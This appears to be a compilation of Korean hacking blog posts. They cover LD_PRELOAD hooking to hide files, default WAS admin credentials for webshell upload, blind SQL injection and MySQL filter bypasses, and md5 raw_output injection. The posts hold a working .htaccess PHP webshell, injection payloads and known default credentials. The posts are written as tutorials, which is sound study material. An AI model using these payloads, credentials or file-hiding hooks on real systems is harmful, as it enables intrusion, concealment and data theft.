Solaris : LD_PRELOAD

FreeBSD : LD_PRELOAD



간단히 개념 정리를 위한 예제를 살펴보자. 


$ ls

secuholic  test1  test2  test3

ls 명령 수행 시 현재 디렉토리의 파일 목록이 보인다. 파일 중 secuholic 이 보이지 않도록 해 본다.


$ ltrace ls

         ...

strcpy(0x08058758, "test1")                       = 0x08058758

readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x0805777c) = 0x08057794

malloc(6)                                         = 0x08058768

strcpy(0x08058768, "test2")                       = 0x08058768

readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x08057794) = 0x080577ac

malloc(6)                                         = 0x08058778

strcpy(0x08058778, "test3")                       = 0x08058778

readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x080577ac) = 0x080577c4

malloc(10)                                        = 0x08058788

strcpy(0x08058788, "secuholic")                   = 0x08058788

readdir64(0x08057720, 0x08057700, 0xbffffb84, 1, 0x080577c4) = 0x080577e0

malloc(7)                                         = 0x08058798

         ...

secuholic  test1  test2  test3



중간 문자열 처리 과정에서 strcpy 함수 호출 시 src 가 secuholic 인지 비교하여 참인 경우 변조를 하면 된다.



$ cat test.c

#include <stdio.h>

#include <string.h>


char *strcpy(char *dest, const char *src)

{

int i =0;

while (src[i] != '\0')

{

dest[i] = src[i];

i++;

}

dest[i] = '\0';

printf("[hooked] : strcpy(%x,\"%s\")\n",dest,src);

return &dest[0];

}





$ LD_PRELOAD=./hook.so ls

[hooked] : strcpy(8054a48,"xterm-redhat")

[hooked] : strcpy(8054c18,"xterm-xfree86")

[hooked] : strcpy(bffffa87,"46")

[hooked] : strcpy(8054a4c,"li#46")

[hooked] : strcpy(bffffa87,"98")

[hooked] : strcpy(8054c1c,"co#98")

[hooked] : strcpy(8054fa0,"no=00:fi=00:di=01;34:ln=")

[hooked] : strcpy(80549b8,".")

[hooked] : strcpy(80549c8,"test1")

[hooked] : strcpy(80549d8,"test2")

[hooked] : strcpy(80549e8,"test3")

[hooked] : strcpy(80549f8,"secuholic")   // secuholic 문자열 복사

[hooked] : strcpy(8054b28,"test.c")

[hooked] : strcpy(8054b38,"hook.so")

hook.so  secuholic  test.c  test1  test2  test3




이제 해당 부분을 수정해 보자.



$ cat test.c


#include 
#include 

char *strcpy(char *dest, const char *src)
{
	int i =0;
      if(strcmp(src,"secuholic")==0){
	     dest[i] = '\0';
	     return &dest[0]; // src가 secuholic 인 경우 바로 리턴
	}
	while (src[i] != '\0')
	{
		dest[i] = src[i];
		i++;
	}
	dest[i] = '\0';
//	printf("[hooked] : strcpy(%x,\"%s\")\n",dest,src);
	return &dest[0];
}



gcc -shared -fPIC -o hook.so test.c


$ ls 

 hook.so secuholic test.c test1 test2 test3   // secuholic 존재


$ LD_PRELOAD=./hook.so ls 

 hook.so test.c test1 test2 test3   //  secuholic 숨김


이렇게 간단히 후킹이 가능함을 확인해 보았다. LD_PRELOAD 는 setuid 가 걸려 있으면 동작하지 않으며, 타인의 프로세스에는 영향을


줄 수 없는 등 몇가지 제한 사항이 있으나, 쉽게 후킹이 가능하다는 점에서 유용하다 볼 수있겠다.  :)



'Linux System Hacking' 카테고리의 다른 글

ARM-Thumb 모드 컴파일 옵션  (0) 2016.02.23
ARM Assembly 정리 - ARM 기본 개념  (0) 2016.02.22




대부분의 WAS(JBOSS,톰캣 등) 은 관리(deploy, undeploy 등)를 편하게 하기 위한 관리자 페이지를 제공한다.


문제는 일반적으로 설치 계정을 그대로 사용하는 경우가 많다는 것이다. 대략적인 단계는 아래와 같다.


1) 기본 계정을 이용하여 WAS 관리자 페이지 접속


admin/공백

tomcat/tomcat

admin/manager

        ...


2) deploy 메뉴를 이용하여 웹쉘 업로드


3) 서버 쉘 권한 획득


4) local exploit 을 통한 root 획득




* 참고로 아래는 HPOM(HP Operation Manager) 모니터링 솔루션의 기본 계정 취약점이다.

ovwebusr / OvW*busr1 (http://www.security-database.com/detail.php?alert=CVE-2009-4189)

j2deployer / j2deployer (http://packetstormsecurity.com/files/cve/CVE-2009-4188)








# Bug Hunting (1) - Exploitable 취약점 분류



취약점에는 다양한 종류가 있다. 


똑같은 crash 가 발생하더라도, 해당 버그는 Exploit 할수도, 불가능 할수도 있다. 


여기서 Exploit 이라 함은 코드 실행 흐름을 변경하여 원하는 코드를 실행할 수 있는, 즉 Code Execution 이 가능한가이다.


간단한 설명과 함께 분류해 보았다.





1. Memory Corruption


 - 대표적인 Exploit 유형으로, 주로 잘못된 함수 사용 등에 의해 발생




 1.1. Stack Buffer Overflow

  

    - 스택상의 메모리 영역을 침범하여 덮어쓰는 유형의 버그


    - 공격기법 : Direct EIP Overwrite, SEH Overwrite, ECX one byte Overflow, RTL(Return To Library), Fake EBP, Fake ESP, ROP


    - 방어기법 : Stack Guard, Stack Cookie, DEP/NX, ASLR



 1.2. Heap Buffer Overflow


    - 힙 메모리 영역을 침범하여 덮어쓰는 유형의 버그


    - 공격기법 : VFT Overwrite(Virtual Function Table Overwrite), Function Pointer Overwrite




 1.3. Format String Bug


    - 포맷 스트링을 사용하지 않은 잘못된 함수 사용으로 인하여 %n 등으로 특정 주소값을 덮어씌우는 공격기법


    - 공격기법 : dtors Ovewrite, Got Overwrite, RET Overwrite 




 1.4. Use-After-Free


    - Free 로 해제된 객체, 포인터를 사용하는 경우 발생하는 버그로, 최근 많이 발견되는 유형 중 한가지이다.(특히 웹브라우저)

   

    - 공격기법 : Heap Spray -> 정밀 Heap Spray, DEPS(엘리멘탈 속성 spray), JIT Spray 등



 1.5. Double Free


    - free() 로 이미 해제된 메모리를 한번 더 해제하려 할때 발생하는 버그




 1.6. Integer Overflow


    - 자료형마다의 경계값(최대,최소값) 차이점 등에 의해 발생하는 버그












Naver XSS 제보

2014. 3. 14. 01:19


까페 관리 좀 하다가 실수로 입력한 " 에서 스크립트 오류가 발생하는 걸 보고...아무 생각없이 잠시 쳐다보다가


XSS 취약점을 발견했습니다. 뭐 어차피 찾기 쉬운 취약점이고 마음먹고 찾으면 수십개도 찾을 수 있는 취약점이라 


그냥 둘까 했으나 착하게 제보해주기로 마음먹고 버그신고를 통해 눈에 보이는 몇개 제보했습니다.

(고치긴 하려나 궁금해서-_-ㅋ)





한 1년 정도 전부터 만들던(하지만 조금 만들다 그냥 묵혀두었던 -_-;)... Secuholic Web Exploit Framework  

베타 버전을 공개합니다. 지금 완성된 것은 애초 기획했던 plugin 중 exploit finder 뿐이지만 그냥 먼저 올려둡니다. 

아직 이 조차도 조금 미완성이지만 exploit 을 검색하는 용도로는 나름 괜찮은 듯 해서 미리 올려둡니다. 

앞으론 열심히 만들어서 애초 목표인 Web Exploit Framework 가 될 수 있도록 노력하겠습니다 ㅎㅎ 


사용법은 아주 간단합니다. 그냥 키워드만 입력하시면 공개된 exploit 들을 찾아줍니다. 바로 다운로드도 가능하구요.

버그나 개선사항 등은 언제든지 쪽지&메일 주시면 겸허히 받아들이고 개선 하도록 하겠습니다. 



 

 

 

SecuWEF_v0.2.zip

 





'My Tool' 카테고리의 다른 글

SeWEF - Secuholic Web Exploit Framework 제작기  (2) 2013.04.26

py2exe 사용법

2014. 3. 4. 22:57


간만에 py2exe 로 컴파일 하려다 보니 xp 스타일이 적용되지 않은 투박한 exe 를 뱉어내서 


이것저것 옵션을 추가하며 반복되는 에러와 씨름하다가 결국 깔끔하게 만들었다.


헷갈리니까 나중을 위해 정리~!



# -*- coding: utf-8 -*-

from distutils.core import setup
import py2exe
import glob

manifest = """


  
    
      
        
      
    
  
  
    
      
    
  
  
    
      
    
  

"""


includes = [
	"ExploitFinder",
]


excludes = [
	"pywin",
	"pywin.debugger",
	"pywin.debugger.dbgcon",
	"pywin.dialogs",
	"pywin.dialogs.list",
	"win32com.server",
]


options = {
	"compressed": 1,
	"bundle_files" : 1,
	"excludes" : excludes,
	"dll_excludes": ["w9xpopen.exe","msvcp90.dll"]
}


setup(
	options = {"py2exe":options},
	zipfile = None,
	windows = [{
		'script': "SecuWEF.py", 
		'other_resources': [(24,1,manifest)], 	
		"icon_resources": [(0,"main.ico")],
	}],
	data_files=[("images",glob.glob("img/*"))]
)

'Programming' 카테고리의 다른 글

Terminal Code Highlight - pygmentize, highlight  (0) 2017.03.14
python 을 이용한 bruteforcing  (0) 2016.07.28


* ascii, char, between, and, or 등이 막혀 있을 경우나 기타 잘 알려진 함수들이 필터링 되는 경우 대체방법


으로 lpad 함수, conv 함수를 이용할수 있다. lpad 는 지정한 문자로 자릿수를 채워주는 역할을 하며, conv 함수는


진법 변환을 해준다.


인젝션을 많이 해본 사람은 이제 감이 올 것이다. 쿼리 결과를 1 또는 0으로 만드는 것이 BlindSQL Injection 의


핵심인데, conv('문자',16,2) 로 1과 0으로 이루어진 2진수로 만들고, lpad 로 8자리로 맞춰 주는 것이다.




결론적으로 'A' 를 아래와 같이 0과 1만으로 표현할 수 있다.



mysql> select lpad(conv(hex(substr('a',1,1)),16,2),8,0) from test where id='test';

+-------------------------------------------+

| lpad(conv(hex(substr('a',1,1)),16,2),8,0) |

+-------------------------------------------+

| 01100001                                  |

+-------------------------------------------+



1th)
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),1,1) = 0
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),1,1) = 1

2th)
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),2,1) = 0
substr(lpad(conv(hex(substr('a',1,1)),16,2),8,0),2,1) = 1

Nth)
...

이와 같이 8번의 쿼리로 정확히 한글자씩 알아낼 수 있다.




# 비슷한 함수(테스트 필요)


MySQL : LPAD()  

MSSQL : REPLICATE()

Oracle : LPAD()




# 공격 예

index.php?id+like+0x616425&&substr(lpad(conv(hex(substr(pw,1,1)),16,2),8,0),1,1)=0





php 어플리케이션에서 .htaccess 를 이용하면 다양한 공격을 시도할 수 있다.



1) php 확장자가 아닌 다른 어떤 확장자로도 웹쉘 업로드가 가능해진다.(지정 가능)


AddType application/x-httpd-php .txt


위와 같은 .htaccess 를 먼저 업로드 후 webshell.txt 파일 업로드




2) htaccess 자체를 웹쉘로 사용

============================================

<Files ~ "^\.ht">

Order allow, deny

Allow from all

</Files>

interpreted

AddType application/x-httpd-php .htaccess


<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>


http://www.attack1234.co.kr/.htaccess?c=ls

============================================

출처 : http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html




3) php 엔진을 꺼버리면 php 소스를 모두 열람할수도 있다.


php_flag engine off

AddType text/plain php



4) 악성코드 페이지로 리다이렉트 등

mysql 우회 기법 정리

2014. 2. 5. 02:12


# 공백 우회

- /**/

- %09, %0d, %0a

- select`id`from`user`


# ' 우회

- concat(char(49),char(50)) = '12'

- char(0x31,0x32,0x33) = '123'

- 0x41424344 = 'abcd'

- x'41424344' = 'abcd'

- true + true =2

- where '1'=0   /  False Injection, 1=1 과 동일함


# 함수 정리

unix_timestamp()  -> '135461123'

inet_ntoa(2108797737) -> '125.177.179.41'


# insert injection 

"a1','a2','a3'), ('b1','b2','b3'), ('c1"

insert into test values ('a','b','c') 

                 =

insert into test select 'a','b','c'


# 키워드 우회

substr('abc',1,1) == right(left('abc',1),1)

substr('abc',2,1) == right(left('abc',2),1)




등...(정리중)



MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.


워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;


더욱 열심히 공부해야 겠습니다.




요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.


select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선 


","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해 


mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.




mysql> select id from test where no=1 procedure analyse();

+--------------+-----------+-----------+------------+------------+------------------+-----+

| Field_name    | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | 

+--------------+-----------+-----------+------------+------------+------------------+-----+

| test.test.id  |   admin     |   admin     |                5 |               5 |                         0 |     0 |

+--------------+-----------+-----------+------------+------------+------------------+-----+



중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해


테이블명을 알 수 있다는 것입니다. 


mysql> select id from test where no=limit 0,1 procedure analyse();   // 첫째 필드

mysql> select id from test where no=limit 1,1 procedure analyse();   // 둘째 필드

mysql> select id from test where no=limit 2,1 procedure analyse();   // 셋째 필드


information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)



다들 아시다시피 php 에는 특수문자 공격 방지를 위한 magic_qoutes_gpc() 기능이 존재합니다.



# 기본 인젝션 구문

test' or 'a'='a'--


# magic_qoutes_gpc() 적용 후

test\' or \'a\'=\'a\'--



위와같이 자동으로 '," 등에 \ 을 삽입하여 문자열로 인식시키기 때문에 일반적인 SQL Injection 을 쉽게 방어할 


수 있게 됩니다. (%bf 우회 등 특수만 몇몇 경우 제외) 


이 옵션이 켜져 있는 php 기반 웹사이트의 경우 인젝션을 성공시키기 어렵습니다. 


주로 숫자필드를 찾아 char(), 0x 등으로 우회하게 되죠.


하지만 이 magic_qoutes_gpc() 가 동작하지 않는 경우가 있습니다. 정확히 말하면 동작하기 전이죠.



바로 getenv() 함수로 아파치 변수를 직접 가져올 때입니다. 아파치는 몇몇 주요 변수들을 직접 저장해서 php 


에서 활용할 수 있도록 하고 있는데, 이런 경우 php 를 거치기 전이므로 \' 처리가 되기 전입니다.



# 취약 예제


$agent=getenv("HTTP_USER_AGENT");

$q=@mysql_query("insert into test values('$agent','$ip')"



이와 같은 경우 uger-agent 필드에 인젝션이 가능하게 됩니다. 또한 쿠키에도 해당 기능이 동작하지 않으므로 동일하게 인젝션


이 가능합니다.



'Web Hacking' 카테고리의 다른 글

mysql 우회 기법 정리  (0) 2014.02.05
SQL Injection(MySQL) - procedure analyze()  (2) 2014.02.04
md5 를 raw_input 으로 비교할 시 취약점  (0) 2014.02.01
필드명 sql injection  (0) 2014.02.01
BlindSQL Injection 소스  (1) 2014.02.01



md5 의 옵션중 raw_output 옵션이 있는데, 이 raw_output 을 이용하면 취약성이 존재한다.


아는 사람이야 다 알지만 특수한 경우이고 아직 잘 알려지진 않아서 대회 문제나 워게임 등에 종종 등장하기도 한다.


raw_output 옵션을 True 로 주면 md5 의 값이 hex 값이 아니라 binary 값으로 출력이 된다.



root@bt:~# python -c 'import hashlib;print hashlib.md5("123").hexdigest()'

202cb962ac59075b964b07152d234b70



root@bt:~# python -c 'import hashlib;print hashlib.md5("123").digest()'
 ,�b�Y[�K-#Kp


위처럼 문자가 직접 출력이 되는데, 이와 같은 경우 패스워드 비교문에 raw_output 값을 true 로 주면 아래와 같은 취


약성이 발생한다. 아래와 같이 output 에 '=' 문자가 포함되는 경우 sql injection 이 가능해 진다.



root@bt:~# python -c 'import hashlib;print hashlib.md5("9235566").digest()'

���'='ә�0�����



로그인 쿼리문 : select * from user where id=입력값 and password=입력값


취약점을 악용한 쿼리문 : select * from user where id='admin' and password='���'='ә�0��'




password='abc'='def' 으로 false injection 이 되어 1=1 과 동일한 결과값이 출력된다.







+ Recent posts